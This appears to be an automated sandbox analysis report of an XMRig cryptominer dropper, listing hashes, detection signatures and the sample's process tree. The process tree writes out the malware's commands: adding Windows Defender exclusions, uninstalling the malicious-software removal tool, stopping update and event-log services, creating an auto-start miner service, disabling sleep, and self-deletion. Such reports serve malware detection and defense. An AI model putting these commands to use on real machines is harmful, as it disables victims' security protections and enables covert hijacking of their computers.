Analysis

  • max time kernel
    119s
  • max time network
    116s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2024, 18:52

General

  • Target

    f751a533c9b74e296086f726155e0b4b5b4b339e771318b0abe6255ddba04094N.exe

  • Size

    5.5MB

  • MD5

    88d4f016499352c4c85a23f2a4bfd990

  • SHA1

    b8644cefd7655ff33792628373921a219b913cbd

  • SHA256

    f751a533c9b74e296086f726155e0b4b5b4b339e771318b0abe6255ddba04094

  • SHA512

    92ffaa7cd9a0c7ce831d0b99b43a4b0507a5dfbd65aa0357c6129fc1cfeaf0493bdfb626d2637b1a747e22e300cbbd8d0e268ea22b41726d601e26714720a3fc

  • SSDEEP

    98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f751a533c9b74e296086f726155e0b4b5b4b339e771318b0abe6255ddba04094N.exe
    "C:\Users\Admin\AppData\Local\Temp\f751a533c9b74e296086f726155e0b4b5b4b339e771318b0abe6255ddba04094N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2752
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2836
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:2628
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4944
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:3472
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1836
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2584
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:816
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4788
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4500
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4696
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2716
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:2216
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:2652
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:4440
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JVNIRHNX"
        2⤵
        • Launches sc.exe
        PID:4904
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\f751a533c9b74e296086f726155e0b4b5b4b339e771318b0abe6255ddba04094N.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:3668
      • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3912
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:8
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:2056
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:1076
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:888
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:3504
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:2528
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:4452
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4764
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4348
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:316
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2976
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:4736
            • C:\Windows\system32\nslookup.exe
              nslookup.exe
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3480

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

                  Filesize

                  5.5MB

                  MD5

                  88d4f016499352c4c85a23f2a4bfd990

                  SHA1

                  b8644cefd7655ff33792628373921a219b913cbd

                  SHA256

                  f751a533c9b74e296086f726155e0b4b5b4b339e771318b0abe6255ddba04094

                  SHA512

                  92ffaa7cd9a0c7ce831d0b99b43a4b0507a5dfbd65aa0357c6129fc1cfeaf0493bdfb626d2637b1a747e22e300cbbd8d0e268ea22b41726d601e26714720a3fc

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aaj1ruww.px5.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • memory/2836-0-0x00007FFFE6153000-0x00007FFFE6155000-memory.dmp

                  Filesize

                  8KB

                • memory/2836-1-0x00000277520E0000-0x0000027752102000-memory.dmp

                  Filesize

                  136KB

                • memory/2836-11-0x00007FFFE6150000-0x00007FFFE6C11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2836-12-0x00007FFFE6150000-0x00007FFFE6C11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2836-15-0x00007FFFE6150000-0x00007FFFE6C11000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3480-64-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-65-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-73-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-71-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-69-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-60-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-66-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-68-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-67-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-72-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-57-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-61-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-56-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-58-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-63-0x000001D681BF0000-0x000001D681C10000-memory.dmp

                  Filesize

                  128KB

                • memory/3480-62-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3480-59-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                • memory/3912-39-0x0000016362980000-0x000001636298A000-memory.dmp

                  Filesize

                  40KB

                • memory/3912-42-0x0000016362B30000-0x0000016362B4A000-memory.dmp

                  Filesize

                  104KB

                • memory/3912-37-0x00000163628A0000-0x00000163628BC000-memory.dmp

                  Filesize

                  112KB

                • memory/3912-38-0x00000163628C0000-0x0000016362975000-memory.dmp

                  Filesize

                  724KB

                • memory/3912-40-0x0000016362AF0000-0x0000016362B0C000-memory.dmp

                  Filesize

                  112KB

                • memory/3912-41-0x0000016362AD0000-0x0000016362ADA000-memory.dmp

                  Filesize

                  40KB

                • memory/3912-43-0x0000016362AE0000-0x0000016362AE8000-memory.dmp

                  Filesize

                  32KB

                • memory/3912-45-0x0000016362B20000-0x0000016362B2A000-memory.dmp

                  Filesize

                  40KB

                • memory/3912-44-0x0000016362B10000-0x0000016362B16000-memory.dmp

                  Filesize

                  24KB

                • memory/4736-52-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4736-55-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4736-51-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4736-50-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4736-49-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                • memory/4736-48-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB